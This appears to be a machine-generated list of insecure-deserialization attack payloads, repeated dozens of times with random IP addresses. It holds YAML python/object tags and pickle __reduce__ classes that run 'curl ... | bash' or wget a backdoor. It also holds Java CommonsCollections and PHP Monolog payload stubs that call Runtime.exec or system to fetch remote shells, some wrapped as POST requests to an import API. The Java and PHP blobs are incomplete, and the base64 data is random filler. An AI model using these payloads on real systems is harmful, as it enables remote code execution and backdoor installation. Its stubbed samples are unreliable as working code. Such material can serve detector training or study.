# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://53.7.96.140/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://248.255.255.47/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('G2L48e1k1X63D8H5P47u/0EUThfOLdygk8ZjpGiVzFRl43okcDqKneTwXSwb')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://205.220.90.150/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://209.102.76.76/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://40.9.111.104/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('UzaZzJysdVS64dHivBfkCeDhgUiLS0RS49TaAuisqPSN5MAfdEOSE4XNy5Zk')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://53.47.208.40/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('Sm9RqhhMV0758UzQMX5lzJfLKU8aAJfsMKLvDf069VsrFg4H2+nuYQADlkxh')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://188.204.162.227/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://29.80.170.104/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://151.166.34.251/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('Zhe0qxnBrYls3q784CuFK4OvdhDbAXbUrhJ2daOjB6iY3c3ihEsMlKTCHQHT')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://91.80.127.23/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://227.75.210.114/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://145.54.79.203/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://134.159.231.105/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://189.63.247.106/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://190.101.116.163/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://162.39.148.7/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://53.180.19.49/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://146.7.183.34/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://111.179.241.241/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://31.53.203.153/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://48.114.35.30/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://187.132.199.23/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://51.109.139.157/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://131.11.126.138/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://85.193.18.249/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://100.13.7.135/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://161.79.53.178/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('tpOP9AjvWw4zEVeb9F+2EUKXJAztihk8hm+039e12UJyRBqdMIg+MvUhSZH3')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://66.84.42.203/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://140.36.60.161/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://164.155.39.159/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://5.2.235.50/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('XhN/AQN6b/bcVaLDpo3zbnGIJy+sIp2U92wIqfO/z9w49l9HjwK+F0J5UMnz')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://86.223.24.9/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://3.205.49.105/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('H38HgMhFTtmcrMG9xZkYIfC3xhR61UDUbFCtd7RI8kq629l1Uk51VgK1v3qc')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://242.158.184.77/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:31:"J06YGA68OQDspMicpg8VaZw7sHs1Y9T1ou7Ac9Eq";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://6.155.115.81/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://183.33.141.186/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://38.221.115.64/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://242.28.239.208/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://107.255.55.42/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://36.174.59.119/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://17.225.216.243/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://36.48.232.36/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('nHHFjV4hr/oqVkrL+Ky6q5QLiqIMVL4bD++bP1lZ46tyhmCVJb5ALvZlzqYn')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://162.183.56.154/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://151.118.17.74/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:41:"1A1dUoHfCZe9tno5QNSTMzErE/3lqHzeTfassua3";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://161.97.39.6/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('KCDPjOZDhMJbuMxqeiJec6ikzmWQojhXtfVcs6ZJxfvias+BwCz3cOMADIjS')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://19.47.116.133/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://49.247.248.40/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:46:"Y9tRDNwLNiQ2Jm/HE9eTY5jeg8JeQ6l5MXKJGuBe";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://50.4.12.76/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://201.25.140.84/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://22.199.94.25/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://161.8.49.91/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://225.74.243.183/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:66:"0FRjICUtDbJazlf1l316n8N4KsYXywnND9KMfzt4";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://206.139.22.94/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://241.163.38.237/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://164.83.136.120/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:58:"yhgIiBcDJnT5NZYcgtlz1pyYfwHdK+t4jpzD6Orv";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://165.239.182.87/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('K/snp7e8bwS9tk7U1tr4Bdwlr7tMH/W16fJSQFIuHEAJj4Pdk5RlTsAsPnMy')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://71.5.148.2/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:21:"Hi53FrqlFL9jrqc38c5K8jp01sZSyDC2KhKv+fbt";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://199.164.100.223/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('/JOyzysTTRT6GS6cbtDsW6jY9GHiCdLa0ih2tmygydgRYUDVxAvP1079qUAL')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://55.157.38.11/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://38.88.181.77/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://44.37.8.114/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://155.237.114.240/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://218.155.125.126/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://45.218.107.2/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://171.29.4.134/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://96.187.108.158/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:58:"bpKN42KCwUeLpTzHNe0e66CATbfHV5s9ghIwb5vj";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://135.116.63.88/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://180.19.111.38/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://234.253.237.224/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://74.192.100.129/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:27:"ShbuvbVxpxrGila4DMPVwya3FKqubicT/Df8h+XH";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://89.2.73.98/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('xOIKNxkgipLIZnx2zIMqcQyTn1ojv67DDdrNioFt0plo7xQddBhfMTL4bAMh')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://230.245.102.24/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:28:"dipNhRnoQm8Ski/3yt1KNxLFDEHF/S+KVAw4SJs1";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://192.153.152.71/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://162.26.24.254/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://204.72.40.182/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:46:"bjDHqKB6f1VjdozfrE5XGN06ZJh0w+gUMdRmevUy";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://202.140.253.18/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('2VZrvfecHbd6lYliWizQReZSCzMV7vchZ0+z7j28GXtUeM7e0JVhMgh/2QVV')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://75.122.62.56/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:47:"i96/4fPJLV7zMXYhWk3EuA54oVj5R1pHBTT5MIwg";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://101.2.56.122/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('eC19bEQ6PtX828WTbjROryN1VeB1rACVwWZPSTNx9AkOGSs+fQdsEMYDS9kg')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://31.95.17.113/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://181.92.239.74/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://228.118.2.91/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('usVHskGm0Cpy+tK//CuzEkiTIhp0thgEA1/CgnGUDeFAEENKVIU4Md3kwjG+')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://145.178.156.84/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:69:"gMobk8n5tvbPuuXm4a7iAGeLRSeHMEpJY0yQIEh8";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://76.198.118.77/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://13.31.205.157/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:53:"+r24UpHolHrZKXOLH32TrmFzu/59QNyXu2uEOlnT";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://21.82.230.182/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:79:"vdnwMFKpJECiXrkCMJp03ZCNAnvwDkfoEHTs1f09";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://76.30.195.176/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://200.23.185.51/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://137.233.134.178/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:40:"q8liWsYV9lwfmZmYglRG0lqTAXmnu0w5fLIae5NH";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://251.95.114.192/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://206.26.113.209/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('uTUCQsEalxhQuceOw49k5P+G11mJBPb7JmtV5Gx+eska1Ec5Vfi6e3DRxRKe')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://104.10.248.158/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:51:"tV/KD47tWDg9tZbgD3NdPjJxaATxI+L+E23ixTOA";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://91.195.118.244/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://156.90.180.233/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:53:"+zmHF69Rkh+moUriTG6e+cunxbEcvAJY3gu/CgSc";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://80.230.145.247/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('P8o51u0LJvEq+cGX99TW1nyxP09ZQDenw6kZA3C9XV1e6wI5+C3FhZbLvqwY')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://11.59.73.138/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://76.24.18.106/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://226.158.206.183/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://196.175.113.123/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('OJUz1AkY7+8SwZrdjiMXH+6B7X2XFYGfDu9uZb24uySw4IDO0BLIaObgTkgd')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://142.159.131.111/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('MwiQKVw0zImgpYYD9ovIfKZqQ7I/AGOBvrE9P0kgKVHHytvoSvJDQzhw/7NW')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://203.75.7.94/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://131.47.179.78/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://121.197.196.79/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://60.154.28.233/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://243.241.29.209/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://248.27.115.177/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:35:"8n1i8TZE9Gz7pwEYqIiqauJoUeF21Nk5h2OWfL4t";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://184.166.79.102/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://51.238.26.98/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://182.157.17.7/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://181.195.32.26/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://158.196.214.69/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://196.211.183.105/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://165.44.152.98/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:27:"La5cjbqCYH/8j8dQ4mMMrTvvooq9FrdBTxLjLUxA";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://18.127.133.142/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:68:"pF2rjS2Why2l0SKKiqgsS7BvomuUbvpm+b9aehnQ";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://191.131.243.214/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://234.161.208.29/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://3.41.24.39/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://66.176.149.174/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://88.9.156.214/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://52.79.167.130/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://8.103.172.38/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://39.169.79.43/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('wzuqh2R/dr6iZ8jNaZGja2/qLceSRcBB5yVuwlSWjMcnadgBb3wHUpHWLraw')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://57.20.136.147/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://101.72.105.114/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://44.132.36.143/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://60.203.103.64/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:74:"qQ3lC9ls7Lld1LnDXjHNa5YdsS0XrhsVlLk3ujA+";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://33.24.25.158/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://148.102.184.56/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://71.40.188.192/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://103.233.216.211/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://218.103.61.205/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('tu6uAJ96Kzv7ImlGM/XQDd39Yqt1dAN9ZsJFk3AfmHmPWsY7+S/TCeQkm6pa')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://109.214.186.151/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('MnVGCls6RBW87P7YP4GncfDtzV4JOTH2UQOpX/lZA3SZDKsdDh1B0Verq5Zl')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://246.186.31.16/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://221.158.12.247/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://148.186.90.242/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:68:"RhZwh57r4MwfmmdCrmXQoLiUe0CR5nMSGY7PN/6r";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://82.66.69.57/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://140.227.110.27/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://194.96.203.183/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:77:"e2G2L38H7gZIT+9uJCAvowQQ+rMI+Ui6UhJUs+xL";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://10.1.237.9/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:54:"7Z+NTO15ymURO+X3DO/EN8qPZYkdITfaRnZRl7Tp";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://241.81.148.10/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://206.226.216.136/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://208.197.237.150/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://209.237.127.75/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://4.189.210.123/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://33.208.241.8/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://126.70.98.206/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://190.158.253.83/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('zlkjFdAAqZAwCYb7S8NYrD/juvl7jxiLg2B+M01boOAjtAurnKjCrpla9A0l')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://89.70.171.25/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('+O3DRUfy4Z4VsUuDgUUuukA5Vt9JmRYZ0fYgylPAvsskv9Gz4qoDE2Owtprz')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://72.132.216.24/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://82.169.154.91/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://210.122.127.78/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://1.89.153.193/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://181.241.19.25/payload | bash']
---
